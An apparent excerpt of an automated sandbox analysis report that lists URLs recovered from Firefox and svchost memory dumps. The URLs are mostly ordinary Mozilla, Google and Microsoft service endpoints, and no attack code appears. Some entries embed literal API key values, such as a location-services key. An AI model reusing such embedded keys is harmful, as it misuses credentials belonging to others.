Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000010.00000003.2550492663.0000025CA6CDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000010.00000003.2136952550.0000025CAAA61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2082122728.0000025CAAA5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273197820.0000025CAAA61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251936547.0000025CAAA61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000010.00000003.2532620095.0000025CA6CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000010.00000003.2081833286.0000025CAAA83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2031691341.0000025CADE77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000010.00000003.2071931935.0000025CAD451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2031691341.0000025CADE77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000010.00000003.2274086987.0000025CA8CC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1949825409.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2049806344.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1946167497.0000025CA8233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000010.00000003.2274086987.0000025CA8CC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1949825409.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2049806344.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1946167497.0000025CA8233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000010.00000003.2274086987.0000025CA8CC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1949825409.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2049806344.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1946167497.0000025CA8233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000010.00000003.2154163905.0000025C9ACDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.0000028272592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273669273.0000025CA8CF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF722000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF6D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: firefox.exe, 00000010.00000003.2274086987.0000025CA8CC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1949825409.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2049806344.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1946167497.0000025CA8233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000010.00000003.2274086987.0000025CA8CC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1949825409.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2049806344.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1946167497.0000025CA8233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000010.00000003.2274386929.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000010.00000003.2252222831.0000025CA91B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com
Source: firefox.exe, 00000010.00000003.2532620095.0000025CA6CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/
Source: firefox.exe, 00000010.00000003.2252869772.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274386929.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-linux-x64.zip
Source: firefox.exe, 00000010.00000003.2252869772.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274386929.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-mac-arm64.zip
Source: firefox.exe, 00000010.00000003.2252869772.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274386929.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-mac-x64.zip
Source: firefox.exe, 00000010.00000003.2252869772.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274386929.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-win-arm64.zip
Source: firefox.exe, 00000010.00000003.2252300150.0000025CA9186000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2252869772.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274386929.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-win-x64.zip
Source: firefox.exe, 00000010.00000003.2252869772.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274386929.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-win-x86.zip
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273669273.0000025CA8CF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000010.00000003.2276563556.0000025CA7B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
